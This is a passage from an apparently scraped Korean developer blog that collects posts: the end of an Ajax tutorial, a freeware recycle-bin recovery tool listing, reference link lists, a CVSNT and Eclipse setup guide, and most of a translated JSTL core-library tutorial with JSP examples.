    일단 서버에서 zipCode를 복귀시키고 updatePage() 방식으로 도시/국가 ZIP 코드와 함께 zipCode 필드 값을 설정하는 경우 사용자는 값을 무효로 한다. 값을 무효로 하는 데는 두 가지 이유가 있다. 예에서 나오는 상황을 단순화시키고, 때로는 사용자가 서버에서 명령하는 것을 무효로 하기 위해서다. 이 두 가지를 명심하라. 좋은 사용자-인터페이스 설계를 위해 중요하다.




    위로


    웹 양식 다루기

    그러면 이 글에서 다룰 게 남아 있는가? 그다지 많지 않다. 양식에 기입할 정보를 포착해 이를 서버에 전송하고 응답에 관해 취급할 또 다른 JavaScript 방법을 제공하면서 심지어는 다시 응답될 때 필드 값을 설정하기까지 하는 JavaScript 방법을 다룬다. 여기서는 첫번째 JavaScript 방법을 호출해 전 과정을 시작하기만 하면 된다. 분명 HTTL 양식에 버튼을 추가하지만 2001년 버전과 거의 동일하다고 생각되지 않는가? Listing 7과 같이 JavaScript 기술을 활용한다.


    Listing 7. Ajax 프로세스 시작
                    
    <form>
     <p>City: <input type="text" name="city" id="city" size="25" 
           onChange="callServer();" /></p>
     <p>State: <input type="text" name="state" id="state" size="25" 
           onChange="callServer();" /></p>
     <p>Zip Code: <input type="text" name="zipCode" id="zipCode" size="5" /></p>
    </form>
    

    이런 단면이 루틴 코드의 한 단면 이상을 보여준다고 생각된다면 맞는 말이다. – 그렇다! 사용자가 도시/국가 필드에 관한 새로운 값을 입력할 경우 callServer() 방식을 전송한 다음 Ajax 애플리케이션이 시작된다. 이제 여러 상황을 다룰 만하다고 느껴지기 시작하는가? 좋다! 바로 그거다!




    위로


    맺음말

    소셜 북마크

    mar.gar.in mar.gar.in
    digg Digg
    del.icio.us del.icio.us
    Slashdot Slashdot

    이 시점에서 적어도 리소스 란에서 Ajax 애플리케이션에 관해 깊숙이 알려고 하는 경우, 첫번째 Ajax 애플리케이션을 작성할 준비가 되어 있지 않을 게다. 하지만 이런 애플리케이션이 작동하는 기본 개념 및 XMLHttpRequest 객체의 기본 개념을 이해하기 시작한 경우 이 객체, JavaScript-서버 간 대화 취급방식, HTML 양식 취급 및 심지어 DOM 관리 방식까지 모든 것을 배워야 한다.

    지금 현재로선, Ajax 애플리케이션이 얼마나 강력한 툴인지 생각하는 데 시간을 보낸다. 버튼만 클릭할 뿐만 아니라 필드에 입력하고 콤보 상자에서 옵션을 선택하고 심지어는 마우스를 스크린 주위에 끄는 경우 응답하는 웹 형식을 상상해 본다. 비동기식의 정확한 의미 및 Request 상에서 응답하기 위해 서버 상에서 실행하지만 대기하지 않는 JavaScript 코드에 관해 생각해 본다. 여러분이 부딪치는 문제의 종류는 어떤 것인가? 어떤 영역의 문제에 주의를 기울일 것인가? 프로그래밍에 이 새로운 접근방식을 설명하기 위해 양식 설계를 변환하는 방법은 어떤 것인가?

    이런 문제에 관해 실지로 생각할 시간을 보낸다면 잘라 붙이는 코드를 가지고 이를 잘 이해하지 못하는 애플리케이션에 포함시키는 것보다는 훨씬 더 낫다. 다음 글에서는 이와 같은 개념을 실제 작업에 응용해 본 작업에서처럼 애플리케이션을 만들어야 하는 코드에 관한 자세한 정보를 제공하기로 한다. 그 때까지 Ajax 애플리케이션의 가능성을 마음껏 즐겨라.

    기사의 원문보기



    참고자료

    교육

    토론


    필자소개

    Photo of Brett McLaughlin

    Brett McLaughin은 Logo 시절부터 컴퓨터 업계에서 일했다 (작은 트라이앵글 기억하는가?). 최근에 그는 Java 및 XML 커뮤니티에서 인기 저자 및 프로그래머가 되었다. Nextel Communication사에서는 복잡한 기업 시스템 실행에 관한 업무, Lutris Technologies 사에선 애플리케이션 서버를 실지로 작성하는 업무, 최근 O’Reilly Media 사에서는 이와 관련된 중요한 책을 저술, 편집했다. Brett의 최근 저서인 Head Rush Ajax는 Ajax에 관한 혁신적인 연구에 기여, 공동 저자인 Eric 및 Beth Freeman과 함께 공동으로 수상했다. 그의 최근 저서인 Java 1.5 Tiger: A Developer's Notebook은 신 자바 기술 버전 상에서 이용 가능한 첫 번째 저서다. Brett의 최신 Java 및 XML은 자바 언어에서 XML 기술을 활용한 명백한 업적 중 하나로 남아 있다.


    Posted by 1010
    반응형

    [포터블 프로그램] 휴지통 복구 프로그램




              파일이름 :     복원 (Ver. 4.2.8)

              제작자   :      알수없음

              파일용도 :     휴지통 복구 프로그램

              지원언어 :     한글

               OS :            Windows Xp,98,Me,                

              다운로드:      휴지통 복구 프로그램

     

              무엇에 쓰는 물건인고 ㅇ.ㅇ?

             혹시 '아차' 하는순간에 중요한 파일을 휴지통에서 완전 비워버린 경험이 있으신가요?

             그렇다면 주저 마시고 본 프로그램을 다운 받으세요. 작고 간단하면서도 휴지통으로 비워진

             파일을 쉽게 복구해주는 휴지통 복구 프로그램입니다. 본 프로그램은 프리웨어입니다.

             본 파일은 알약과 카스파스키 최신 버전으로 바이러스 검사를 마친 안전한 프로그램입니다.

    Posted by 1010
    90.개발관련문서2008. 7. 25. 16:32
    반응형
    1. XML관련[1]
    2. 자바이론[2]
    3. 성능 테스트[3]
    4. 정규표현식[4]
    5. JavaScript[5]
    6. Eclipse[6]
    7. 테스팅[7]
    8. 보안[8]
    9. Cygwin[9]
    10. 바인딩[10]
    11. Ant[11]
    12. Jakarta Commons Configuration[12]
    13. Java 예제코드[13]
    14. Quartz[14]


    출처 : http://openframework.or.kr/Wiki.jsp?page=OpenSources

    Posted by 1010
    61.Linux2008. 7. 25. 16:29
    반응형
  • Network files - 리눅스에서 네트워크 관련 셋팅 파일들.
  • rebuild rpm - 소스 rpm파일을 리빌드 하기.
  • vimrc setting - vimrc의 환경설정옵션들
  • Security Checing list - 리눅스서버에서 해킹의 기록이 걱정될때 체크하는 방법들.
  • IEs4Linux - 리눅스에서 IE를 돌리기
  • 유용한 명령어들 - 유용한 명령어들
  • Posted by 1010
    98..Etc/Etc...2008. 7. 25. 16:26
    반응형

    by 이동국

    CVS 서버 설치하기

    1. http://www.cvsnt.org 에서 최신버전의 cvsnt를 다운받는다.
    이문서에서 사용된 cvsnt버전은 2.0.58d이다.

    2. CVS에 관리할 파일을 저장하는 하나의 디렉토리(d:\cvs\repository)와 임시 디렉토리(d:\cvs\temp)하나를 생성한다. --> 사실 이 과정은 필요가 없는듯하다.

    3. 설치파일(cvsnt-2.0.58d.exe)로 디폴트 설치를 한 다음에 다음 그림처럼 service control panel을 실행시킨다.

    1.jpg

    4. 실행후 repositories탭으로 이동해서 다음과 같이 셋팅해준다.
    여기서 name는 /cvs를 포함하지 않는 이름으로 해준다.
    그리고 location은 아까 cvs repository를 위해 생성해준 디렉토리로 지정한다.

    2.jpg
    5. Compatibility탭으로 이동해서 Respond as cvs 1.11.2 to version request에 체크를 해준다.
    이것은 안해주면 eclipse에서 cvs접근할 때 cvs repository prefix관련 에러가 뜬다.

    3.jpg
    6. cvs를 사용하기 위해 windows 계정을 하나 생성한다. 그리고 administrator그룹내에 속하도록 셋팅을 한다.

    7. 이렇게 되면 cvs서버 셋팅은 마친 셈이다.

    Eclipse와 CVS 연동해서 사용하기.

    알림 : 필자는 eclipse 3.1 M4버전을 기준으로 작성했다.

    1. 메뉴에 window -> show view -> other -> cvs하위의 cvs repositories를 선택한다.

    2. cvs repositories에서 마우스 오른쪽 클릭해서 new -> repository location을 선택한다. 그럼 다음과 같은 화면이 나온다.

    4.jpg
    3. finish를 누르면 다음과 같이 바뀐다.

    5.jpg
    4. 프로젝트를 생성하고 다음처럼 cvs에 연결을 시도한다.

    6.jpg
    5. 다음과 같이 추가된 cvs repository가 화면에 표시된다.

    7.jpg
    6. next를 누르면 프로젝트 관련 셋팅 화면이 뜨고 다시 누르면 다음과 같은 화면이 나온다.

    8.jpg
    7. finish 를 누르면 cvs와의 연결이 완료가 되었다는 노란색 막대기들이 보인다.

    9.jpg

    남기는 말
    설정상에서 화면 UI등이 바뀌고 cvs서버에서 Respond as cvs 1.11.2 to version request에 체크를 안해주면 eclipse에서 cvs연결시 repository prefix관련 에러가 발생하는거 말고는 기존의 cvs서버 셋팅과 크게 바뀐게 없다. 사용에 관련해서는 사실 UI자체도 별로 바뀐게 없기 때문에 기존의 문서를 참조하길 바란다. }

    Posted by 1010
    05.JSP2008. 7. 25. 16:24
    반응형

    JSTL 기초, Part 2: core 분석 (한글)

    커스텀 태그를 이용한 플로우 제어와 URL 관리

    developerWorks
    문서 옵션
    이 페이지를 이메일로 보내기

    이 페이지를 이메일로 보내기

    
    제안 및 의견
    피드백

    난이도 : 초급

    Mark Kolb, 소프트웨어 엔지니어

    2003 년 3 월 18 일
    2003 년 8 월 08 일 수정

    SP Standard Tag Library (JSTL) core 라이브러리는 이름이 말해주듯이, 범위(scoped) 변수를 관리하고 URL과 인터랙팅하는 등의 기본 기능과, 반복과 조건화 같은 근본적인 작동에 필요한 커스텀 태그를 제공한다. 이러한 태그들은 페이지 작성자가 직접 사용하기도 하지만 다른 JSTL 라이브러리와 함께 복잡한 표현 로직에 대한 토대를 제공한다.

    이 시리즈의 첫 번째 글에서 JSTL을 처음 보았을 것이다. 거기에서 데이터에 액세스 하고 작동하기 위해 expression language (EL)의 사용법을 설명했다. 여러분이 배운 것 처럼 EL은 JSTL 커스텀 태그의 애트리뷰트에 동적 값을 할당하는데 사용된다. 따라서 빌트인 액션과 기타 커스텀 태그 라이브러리용 요청 시간 애트리뷰트 값을 지정하는 JSP 식과 같은 역할을 한다.

    EL의 사용법을 설명하기 위해, core 라이브러리에서 세 개의 태그 (<c:set>, <c:remove>, <c:out>)를 소개했었다. <c:set><c:remove>는 범위 변수를 관리하는데 사용된다. <c:out>은 특별히 EL을 사용하여 계산된 값인 데이터 디스플레이에 사용된다. 기초 학습을 토대로 이제는 core 라이브러리의 나머지 태그를 볼 것이다. 두 가지 주요 카테고리로 나뉜다: 플로우 제어(플로우 제어)와 URL 관리.

    예제 애플리케이션

    JSTL 태그를 설명하기 위해서 실제 애플리케이션 예제를 사용할 것이다. 대중성과 인지도가 높아졌기 때문에 간단한 자바 기반의 Weblog를 사용할 것이다. (참고자료에서 JSP 페이지와 소스 코드를 다운로드 한다.) Weblog (blog)은 웹 기반 저널로서 Weblog의 작성자가 흥미를 가질만한 주제들에 대한 짧은 주석이다. 일반적으로 웹 상의 아티클이나 토의가 있는 곳 어디든 연결된다. 그림 1은 실행 중인 애플리케이션의 모습이다.


    그림 1. Weblog 애플리케이션
    Screenshot of the Weblog 예제 애플리케이션

    스무 개 정도의 자바 클래스가 전체 구현에 필요하지만 Weblog 애플리케이션 클래스에서는 단 두개(EntryUserBean)만이 프리젠테이션 레이어에 사용된다. JSTL 예제를 이해하려면 이들 두 개의 클래스가 필요하다. 그림 2는 EntryUserBean의 클래스 다이어그램이다.


    그림 2. Weblog 애플리케이션(클래스 다이어그램)
    Class diagram for Weblog 예제 애플리케이션

    Entry 클래스는 Weblog 내의 날짜가 나와있는 엔트리를 나타낸다. 이것의 id 애트리뷰트는 데이터베이스 내의 엔트리를 저장하고 검색하는데 사용된다. 반면 titletext 애트리뷰트는 엔트리의 실제 콘텐트를 나타낸다. 자바 Date 클래스 중 두 개의 인스턴스는 createdlastModified 애트리뷰트에 의해 레퍼런스되며 엔트리가 처음으로 만들어지고 마지막으로 편집 될 때 나타난다. author 애트리뷰트는 UserBean 인스턴스를 참조하면서 엔트리를 만든 사람을 나타낸다.

    The UserBean 클래스는 애플리케이션의 권한이 있는 사용자 정보(사용자 이름, 성명, 이메일 주소)를 저장한다. 이 클래스에는 관련 데이터베이스와 인터랙팅하기 위한 id 애트리뷰트도 포함되어 있다. 마지막 애트리뷰트인 rolesString 값 리스트를 참조하면서 애플리케이션 역할과 이에 상응하는 사용자를 구분한다. Weblog 애플리케이션의 경우 일반적인 역할은 "User" (모든 일반적인 애플리케이션 사용자 역할)와 "Author" (Weblog 엔트리를 만들고 편집할 수 있는 사용자를 지정하는 역할) 이다.

    이 기사의 다른 시리즈

    Part 1, "expression language" (2003년 2월)
    Part 3, "보여지는 것도 중요하다!" (2007년 3월)
    Part 4, "SQL과 XML 콘텐트에 액세스 하기" (2007년 4월)




    위로


    플로우 제어(Flow control)

    동적 애트리뷰트 값을 지정하는데 JSP 식 대용으로 EL이 사용될 수 있기 때문에 스크립팅 엘리먼트를 사용할 필요가 줄어들었다. 스크립팅 엘리먼트는 JSP 페이지에서 중요한 소스가 될 수 있기 때문에 간단한 대안을 제공한다는 것은 JSTL에 있어서 큰 이점이다.

    EL은 JSP 컨테이너에서 데이터를 검색하고 객체 계층을 오가며 간단한 작동을 수행한다. 데이터에 접근하여 조작하는 것 외에도 JSP 스크립팅 엘리먼트의 또 다른 사용 측면은 플로우 제어이다. 특히, 페이지 작성자가 반복되거나 조건적인 콘텐트를 구현하기 위해서 스크립틀릿을 의존한다는 것은 일반적인 일이다. 하지만 그와 같은 작동은 EL의 기능을 넘어서기 때문에, core 라이브러리는 반복, 조건화, 예외 처리 등의 형태로 플로우 제어를 관리 할 다양한 사용자 액션을 제공한다.

    반복

    웹 애플리케이션의 측면에서, 반복(iteration)은 데이터의 모음을 가져다가 디스플레이 하는데 주로 사용된다. 주로 테이블에 리스트나 열(row) 시퀀스의 형태로 나타난다. 반복 콘텐트를 구현하는 JSTL의 기본 액션은 <c:forEach> 커스텀 태그이다. 이 태그는 두 개의 다른 유형의 반복을 지원한다: 정수 범위내의 반복(이를 테면, 자바의 for 문)과 컬렉션 내의 반복(자바의 IteratorEnumeration 클래스).

    정수 범위 내에서 반복하려면 <c:forEach>(Listing 1)의 커스텀 태그의 신택스가 사용된다. beginend 애트리뷰트는 정적 정수 값 또는 정수 값을 계산하는 수식이 되어야한다. 이들은 각각 반복을 위한 인덱스의 초기 값과 반복이 멈추는 지점의 인덱스 값을 지정한다. <c:forEach>를 사용하여 정수 범위에서 반복할 때, 이 두개의 애트리뷰트가 필요하며 다른 모든 것들은 선택사항이다.


    Listing 1. <c:forEach> 액션을 통한 반복 신택스
    <c:forEach var="name" varStatus="name"
    begin="expression" end="expression" step="expression">
    body content
    </c:forEach>
    
    		

    step 애트리뷰트 또한 정수 값을 갖고 있어야한다. 매번 반복한 후에 인덱스에 추가될 양(amount)을 정한다. 따라서 반복 인덱스는 begin 애트리뷰트 값에서 시작하고 step 애트리뷰트의 값에 의해 증가하며 end 애트리뷰트의 값을 초과할 때 정지한다. step 애트리뷰트가 생략되면 step 크기는 1로 초기화된다.

    var 애트리뷰트가 지정되면 지정된 이름을 가진 범위 변수가 만들어지고 인덱스의 현재 값으로 할당된다. 이 범위 변수는 <c:forEach> 태그의 바디 내에서 액세스 될 수 있다. Listing 2는 <c:forEach> 액션의 예제이다.


    Listing 2. <c:forEach> 태그
    <table>
    <tr><th>Value</th>
        <th>Square</th></tr>
    <c:forEach var="x" begin="0" end="10" step="2">
      <tr><td><c:out value="${x}"/></td>
          <td><c:out value="${x * x}"/></td></tr>
    </c:forEach>
    </table>
    
    		

    이 예제 코드는 다섯 개 짝수의 제곱을 테이블로 만들었다. 그림 3이 그 결과이다 .


    그림 3. Listing 2의 결과
    Output of Listing 2

    컬렉션의 멤버들 사이를 반복할 때 <c:forEach> 태그의 추가 애트리뷰트인 items 애트리뷰트가 사용된다. (Listing 3). 이러한 형식의 <c:forEach> 태그를 사용할 때, items 애트리뷰트는 유일하게 필요한 애트리뷰트이다.


    >Listing 3. <c:forEach> 액션을 통한 반복 신택스
    <c:forEach var="name" items="expression" varStatus="name"
     begin="expression" end="expression" step="expression">
      body content
    </c:forEach>			
    		

    자바 플랫폼에서 제공되는 표준 컬렉션 타입은 <c:forEach> 태그에 의해 지원된다. 어레이 엘리먼트를 통해 반복할 때 이 액션을 사용할 수 있다. 표 1은 items 애트리뷰트에 의해 지원되는 값들의 리스트이다. 테이블의 마지막 열이 표시될 때, JSTL은 이것의 인터페이스(javax.servlet.jsp.jstl.sql.Result)를 정의한다.

    표 1. <c:forEach> 태그의 items 애트리뷰트에서 지원되는 컬렉션

    items item 값의 결과
    java.util.Collection 호출에서 iterator()까지의 엘리먼트
    java.util.Map java.util.Map.Entry의 인스턴스
    java.util.Iterator Iterator 엘리먼트
    java.util.Enumeration Enumeration 엘리먼트
    Object 인스턴스 어레이 Array 엘리먼트
    초기 값들의 어레이 래핑된 어레이 엘리먼트
    콤마로 나뉘어진 String 서브스트링
    javax.servlet.jsp.jstl.sql.Result SQL 쿼리의 열(row)

    Listing 4는 컬렉션을 통한 반복에 사용되는 <c:forEach> 태그이다. entryList 라는 범위 변수가 Entry 객체의 리스트로 설정되었다. <c:forEach> 태그가 이 리스트의 각 엘리먼트를 처리한다. blogEntry 라는 범위 변수로 이것을 할당하고 두 개의 테이블 열을 만든다. 하나는 Weblog 엔트리의 title 이고 다른 하나는 이것의 text이다. 이 속성들은 한 쌍의 <c:out> 액션과 이에 상응하는 EL 식을 통해 blogEntry 변수에서 검색된다. Weblog 엔트리의 타이틀과 텍스트에 HTML이 포함되어있기 때문에 <c:out>escapeXml 애트리뷰트는 false로 설정된다. (그림 4).


    Listing 4. <c:forEach> 태그를 사용하여 Weblog 엔트리 디스플레이 하기
    <table>
      <c:forEach items="${entryList}" var="blogEntry">
        <tr><td align="left" class="blogTitle">
          <c:out value="${blogEntry.title}" escapeXml="false"/>
        </td></tr>
        <tr><td align="left" class="blogText">
          <c:out value="${blogEntry.text}" escapeXml="false"/>
        </td></tr>
      </c:forEach>
    </table>
    		


    그림 4. Listing 4의 결과
    Output of Listing 4

    남아있는 <c:forEach> 애트리뷰트인 varStatus는 정수 범위의 반복이나 컬렉션 범위의 반복에서 똑같은 역할을 한다. var 애트리뷰트와 마찬가지로, varStatus는 범위 변수를 만드는데 사용된다. 현재 인덱스 값이나 현재 엘리먼트를 저장하는 대신에 이 변수는 javax.servlet.jsp.jstl.core.LoopTagStatus 의 인스턴스로 할당된다. 이 클래스는 일련의 속성을 정의한다. (표 2).

    표 2. LoopTagStatus 객체의 속성

    속성 Getter Description
    current getCurrent() 현재 반복 라운드 아이템
    index getIndex() 현재 반복 라운드의 제로 기반(zero-based) 인덱스
    count getCount() 현재 반복 라운드의 1 기반(one-based) 인덱스
    first isFirst() 현재 라운드가 반복을 통한 첫 번째 패스임을 나타내는 플래그
    last isLast() 반복현재 라운드가 반복을 통한 마지막 패스임을 나타내는 플래그
    begin getBegin() begin 애트리뷰트의 값
    end getEnd() end 애트리뷰트의 값
    step getStep() step 애트리뷰트의 값

    Listing 5는 varStatus 애트리뷰트가 사용되는 방법을 나타낸 예제이다. Listing 4의 코드를 수정하여 Weblog 엔트리의 숫자세기를 타이틀을 디스플레이하는 테이블 열에 추가한다. 이것은 varStatus 애트리뷰트의 값을 지정하고 결과 범위 변수의 카운트 속성에 액세스 하면 된다. 결과는 그림 5 이다.


    Listing 5. varStatus 애트리뷰트를 사용하여 Weblog 엔트리의 카운트 디스플레이하기
    <table>
      <c:forEach items=
        "${entryList}" var="blogEntry" varStatus="status">
        <tr><td align="left" class="blogTitle">
          <c:out value="${status.count}"/>.
          <c:out value="${blogEntry.title}" escapeXml="false"/>
        </td></tr>
        <tr><td align="left" class="blogText">
          <c:out value="${blogEntry.text}" escapeXml="false"/>
        </td></tr>
      </c:forEach>
    </table>
    
    		


    그림 5. Listing 5의 결과
    Output of Listing 5

    <c:forEach> 이외에도, core 라이브러리는 두 번째 반복 태그인 <c:forTokens>를 제공한다. 이것의 액션은 자바의 StringTokenizer 클래스의 JSTL 이다. <c:forTokens> 태그(Listing 6)는 컬렉션 지향 버전의 <c:forEach>와 같은 애트리뷰트를 갖고 있다. <c:forTokens>의 경우 토큰화 될 스트링은 items 애트리뷰트를 통해 지정되는 반면 토큰을 만드는데 사용되는 지정자(deliniter)는 delims 애트리뷰트를 통해 제공된다. <c:forEach> 경우와 마찬가지로, begin, end, step애트리뷰트를 사용하여 토큰이 상응하는 인덱스 값들과 매칭되는 것에 프로세스 되도록 제한 할 수 있다.


    Listing 6. <c:forTokens> 액션
    <c:forTokens var="name" items="expression"
        delims="expression" varStatus="name"
        begin="expression" end="expression" step="expression">
      body content
    </c:forTokens>
    
    		

    조건화

    동적 콘텐트를 포함하고 있는 웹 페이지라면 다양한 형식의 콘텐트를 볼 수 있는 다양한 사용자 카테고리가 필요할 것이다. Weblog에서 방문자들은 엔트리를 읽고 피드백을 제출 할 뿐만 아니라 권한을 받은 사용자는 새로운 엔트리를 게시하거나 기존 콘텐트를 편집할 수 있어야 한다.

    JSP 페이지 내에 그러한 기능을 구현하고 리퀘스트 기반으로 디스플레이 하고자하는 것을 제어하도록 조건 로직을 사용함으로서 가용성과 소프트웨어 관리는 향상된다. core 라이브러리는 두 개의 다른 조건화 태그인 <c:if><c:choose>를 제공하는데 다음의 기능들을 구현한다.

    이 두 가지 액션 중 좀더 단순한 <c:if>는 간단한 테스트 식을 계산한 다음 식이 true로 되었을 때만 바디 콘텐트를 처리한다. 그렇지 않다면 태그의 바디 콘텐트는 무시된다. Listing 7에서 보듯, <c:if>는 테스트의 결과를 varscope 애트리뷰트를 통해 범위 변수로 할당할 수 있다. 이 기능은 테스트 비용이 비쌀 경우 유용하다. 결과는 범위 변수에 캐시되고 <c:if>나 다른 JSTL 태그로의 연속 호출시에 검색된다.


    Listing 7. <c:if> 조건 액션 신택스
    <c:if test="expression" var="name" scope="scope">
      body content
    </c:if>
    
    		

    Listing 8은 <c:forEach> 태그의 LoopTagStatus 객체의 first 속성으로 사용된 <c:if> 를 보여준다. 이 경우, 그림 6 에서 보듯, Weblog 엔트리의 구현 날짜는 첫 번째 엔트리 위에 디스플레이 된다. 하지만 다른 엔트리 앞에 반복되지 않는다.


    Listing 8. <c:if>를 사용하여 Weblog 엔트리 날짜 디스플레이 하기
    <table>
    <c:forEach items=
    "${entryList}" var="blogEntry" varStatus="status">
    <c:if test="${status.first}">
    <tr><td align="left" class="blogDate">
    <c:out value="${blogEntry.created}"/>
    </td></tr>
    </c:if>
    <tr><td align="left" class="blogTitle">
    <c:out value="${blogEntry.title}" escapeXml="false"/>
     </td></tr>
    <tr><td align="left" class="blogText">
    <c:out value="${blogEntry.text}" escapeXml="false"/>
    </td></tr>
    </c:forEach>
    </table>
    
    		


    그림 6. Listing 8의 결과
    Output of Listing 8

    Listing 8 처럼, <c:if> 태그는 조건화된 콘텐트에 대해 매우 간략한 노트를 제공한다. 디스플레이 되어야하는 콘텐트가 무엇인지를 결정해야하는 중립적인 테스트가 필요할 경우, JSTL core 라이브러리는 <c:choose> 액션을 제공한다. <c:choose> 신택스는 Listing 9와 같다.


    Listing 9. <c:choose> 액션 신택스
    <c:choose>
      <c:when test="expression">
        body content
      </c:when>
      ...
      <c:otherwise>
        body content
      </c:otherwise>
    </c:choose>
    
    		

    테스트 되는 각 조건은 상응하는 <c:when> 태그에 의해 나타난다. testtrue로 평가된 첫 번째 <c:when> 태그의 콘텐트만 프로세스된다. 어떤 <c:when> 테스트도 true로 리턴되지 않으면 <c:otherwise> 태그의 바디 콘텐트가 프로세스 된다. <c:otherwise> 태그가 선택적이라는 것을 주목하라. <c:choose> 태그는 최대 한 개의 중첩 <c:otherwise> 태그를 가질 수 있다. 모든 <c:when> 테스트가 false가 되고 어떤 <c:otherwise> 액션도 나타나지 않으면 <c:choose> 바디 콘텐트는 프로세스 되지 않는다.

    Listing 10은 <c:choose> 태그의 실행 예제이다. 여기에서 프로토콜 정보는 리퀘스트 객체에서 검색되고 간단한 스트링 비교를 사용하여 테스트된다. 테스트 결과에 따라 상응하는 텍스트 메시지가 디스플레이된다.


    Listing 10. <c:choose>를 이용한 콘텐트 조건화
    <c:choose>
      <c:when test="${pageContext.request.scheme eq 'http'}">
        This is an insecure Web session.
      </c:when>
      <c:when test="${pageContext.request.scheme eq 'https'}">
        This is a secure Web session.
      </c:when>
      <c:otherwise>
        You are using an unrecognized Web protocol. How did this happen?!
      </c:otherwise>
    </c:choose>
    		

    예외 처리

    마지막 플로우 제어 태그는 <c:catch>이다. 이것은 JSP 페이지 내에서 기본적인 예외처리를 담당한다. 좀더 구체적으로 말하면 이 태그의 바디 콘텐트 내에서 발생하는 모든 예외가 잡히면 무시된다. 하지만 예외가 발생하고 <c:catch> 태그의 선택적인 var 애트리뷰트가 지정되면 예외는 지정된 변수로 할당되어 페이지 자체 내에서 에러 처리를 할 수 있다. Listing 11은 <c:catch>의 신택스이다. (예제는 Listing 18이다)


    Listing 11. <c:catch> 실행 신택스
    <c:catch var="name">
      body content
    </c:catch>
    		




    위로


    URL 작동

    JSTL core 라이브러리의 나머지 태그는 URL에 초점을 맞춘다. 이 중 첫 번째는 <c:url> 태그인데 URL 생성에 사용된다. 특히, <c:url>은 J2EE 웹 애플리케이션용 URL을 구현할 때 중요하게 쓰이는 세 가지 엘리먼트를 제공한다:

    • 현재 서블릿 콘텍스트 이름이 됨
    • 세션 관리를 위한 URL 재작성
    • 요청 매개변수 이름과 값의 URL 인코딩

    value 애트리뷰트가 사용되었다. 기본 URL을 지정하기 위해서. 태그는 필요할 경우 변형한다. 이 기본 URL이 포워드 슬래시로 시작하면 서블릿 콘텍스트 이름이 만들어진다. 구체적인 콘텍스트 이름은 context 애트리뷰트를 사용하여 제공될 수 있다. 이 애트리뷰트가 생략되면 현재 서블릿 콘텍스트 이름이 사용된다. 서블릿 콘텍스트 이름이 개발 보다는 전개 시에 결정될 때 유용하다.


    isting 12. <c:url> 작동 신택스
    <c:url value="expression" context="expression"
        var="name" scope="scope">
      <c:param name="expression" value="expression"/>
      ...
    </c:url>
    
    		

    URL 재작성은 <c:url> 작동에 의해 자동적으로 수행된다. JSP 컨테이너가 사용자의 현재 세션 아이디를 저장하고 있는 쿠키를 검사하면 재작성은 필요없다. 쿠키가 존재하지 않으면 <c:url>로 만들어진 모든 URL은 재작성되어 세션 아이디를 인코딩한다. 계속되는 요청에도 적절한 쿠키가 존재하지 않으면 <c:url>은 이 아이디를 포함하기 위한 URL 재작성을 멈춘다.

    var 애트리뷰트를 위해 값이 제공되면 생성된 URL은 특정 범위 변수의 값으로 할당된다. 그렇지 않다면 결과 URL은 현제 JspWriter를 사용하여 아웃풋이 된다. 결과를 직접 산출하는 기능은 <c:url> 태그가 값으로서 나타날 수 있도록 한다. 예를들어 HTML의 <a> 태그의 href 애트리뷰트와 같다.


    Listing 13. HTML 태그용 애트리뷰트 값으로 URL 생성하기
    <a href="<c:url value='/content/sitemap.jsp'/>">View sitemap</a>
    
    		

    마지막으로 모든 요청 매개변수가 중첩된 <c:param> 태그를 통해 지정되면 그들의 이름과 값은 HTTP GET 요청용 표준 표기법을 사용하여 생성된 URL에 붙여진다. 또한 URL 인코딩이 수행된다. 유효 URL을 만들어내기 위해 변형되어야하는 매개변수의 이름 또는 값에 나타나는 모든 문자는 적절히 변환된다.


    Listing 14. 요청 매개변수를 가진 URL 만들기
    <c:url value="/content/search.jsp">
      <c:param name="keyword" value="${searchTerm}"/>
      <c:param name="month" value="02/2003"/>
    </c:url>
    
    		

    Listing 14의 JSP 코드는 blog이라는 이름의 서블릿 콘텍스트에 전개되었다. 범위 변수 searchTerm의 값은 "core library"로 설정되었다. 세션 쿠키가 탐지되면 Listing 14에서 만들어진 URL은 Listing 15와 같다.


    Listing 15. 세션 쿠키가 있는 상태에서 만들어진 URL
    /blog/content/search.jsp?keyword=foo+bar&month=02%2F2003
    
    		

    어떤 세션 쿠키도 없으면 Listing 16의 URL이 그 결과이다. 서블릿 콘텍스트가 프리펜드 되었고 URL 인코딩이된 요청 매개변수가 붙었다.


    Listing 16. 세션 쿠키 없이 만들어진 URL
    /blog/content/search.jsp;jsessionid=233379C7CD2D0ED2E9F3963906DB4290
      ?keyword=foo+bar&month=02%2F2003
    		




    위로


    중요한 콘텐트

    JSP는 두 개의 빌트인 메커니즘을 갖고 있어 다른 URL에서 온 콘텐트를 JSP 페이지로 만든다. 그것이 바로 include 지시문과 <jsp:include> 작동이다. 두 경우 모두, 포함되어야 하는 콘텐트가 페이지로서 같은 웹 애플리케이션의 부분이 되어야 한다. 두 가지 태그의 주요 차이점은 include 지시문은 페이지가 컴파일하는 동안 포함된 콘텐트를 결합하고 <jsp:include> 액션은 JSP 페이지의 요청 프로세스 동안 작동한다는 것이다.

    core 라이브러리의 <c:import> 액션은 더욱 일반적이면서 강력한 버전의 <jsp:include>라 할 수 있다. <jsp:include> 처럼, <c:import>는 요청 시간 작동이고 기본 태스크는 다른 웹 리소스의 콘텐트를 JSP 페이지에 삽입하는 것이다.


    >Listing 17. <c:import>작동 신택스
    <c:import url="expression" context="expression"
        charEncoding="expression" var="name" scope="scope">
      <c:param name="expression" value="expression"/>
      ...
    </c:import>
    
    		

    임포트 되어야하는 콘텐트용 URL은 url 애트리뷰트를 통해 지정된다. 관련 URL이 허용되고 현재 페이지의 URL에 대비하여 분해된다. url 애트리뷰트의 값은 포워드 슬래시로 시작한다. 하지만 로컬 JSP 컨테이너 내에서는 절대 URL로서 인터프리팅된다. context 애트리뷰트 값 없이는 그와 같은 절대 URL은 현재 서블릿 콘텍스트에서 리소스를 참조하는 것으로 간주된다. 명확한 콘텍스트가 context 애트리뷰트를 통해 지정되면 절대(로컬) URL은 이름을 가진 서블릿 콘텍스트에 대해 분해된다.

    <c:import> 액션은 로컬 콘텐트 접근에만 제한되지 않는다. 프로토콜과 호스트 이름을 포함한 전체 URI는 url 애트리뷰트의 값으로 지정될 수 있다. 사실 프로토콜은 HTTP로 제한되지 않는다. java.net.URL 클래스로 지원되는 모든 프로토콜은 <c:import>url 애트리뷰트용 값에서 사용된다. (Listing 18).

